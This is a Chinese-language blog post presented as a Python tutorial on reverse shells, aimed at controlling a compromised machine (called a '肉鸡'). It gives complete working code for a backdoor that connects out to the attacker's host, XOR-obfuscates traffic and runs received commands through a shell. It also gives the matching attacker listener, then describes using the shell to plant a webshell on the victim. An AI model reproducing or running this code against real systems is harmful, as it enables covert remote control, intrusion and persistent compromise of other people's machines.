您的位置:首页 > 运维架构 > Shell

[python] 0x2 Python Tutorial: Reverse Shell

2015-09-16 10:55 766 查看
在反向shell中

TCP的客户端作为后门程序运行在肉鸡上。

TCP的服务器端作为控制程序运行在黑客机器上。

是肉鸡主动来连接黑客机器。

1.肉鸡

肉鸡端的配置



代码如下,backdoor.py

#!/usr/bin/python
import socket,subprocess,sys

RHOST = sys.argv[1]
RPORT = 1988
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((RHOST,RPORT))

while True:
#receive XOR encoded data from network socket
data = s.recv(1024)

#XOR the data again with a '\x41' to get back to normal data
en_data = bytearray(data)
for i in range(len(en_data)):
en_data[i] ^= 0x41

#Execute the decoded data as a command. The subprocess module is great because we can PIPE STDOUT/STDERR/STDIN to a variable
comm = subprocess.Popen(str(en_data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
STDOUT, STDERR = comm.communicate()

# Encode the output and send to RHOST
en_STDOUT = bytearray(STDOUT)
for i in range(len(en_STDOUT)):
en_STDOUT[i] ^= 0x41
s.send(en_STDOUT)
s.close()


2.控制端



代码如下,control.py

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0",1988))
s.listen(2048)
print "Listening on port 1988..."
(client,(ip,port)) = s.accept()
print "Received connection from: ",ip

while True:
command = raw_input('~$ ')
encode = bytearray(command)
for i in range(len(encode)):
encode[i] ^= 0x41
client.send(encode)
en_data=client.recv(2048)
decode = bytearray(en_data)
for i in range(len(decode)):
decode[i] ^= 0x41
print decode

client.close()
s.close()


3.攻击过程
首先运行control.py等待肉鸡的连接



运行肉鸡端的后门程序,参数中指明黑客机器的地址



此时在控制端可见连接已经接入,运行ifconfig,可见显示出的是肉鸡的IP



接着运行指令,在肉鸡中写入webshell



查看肉鸡中的指定目录,发现webshell已经写入



完事儿
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: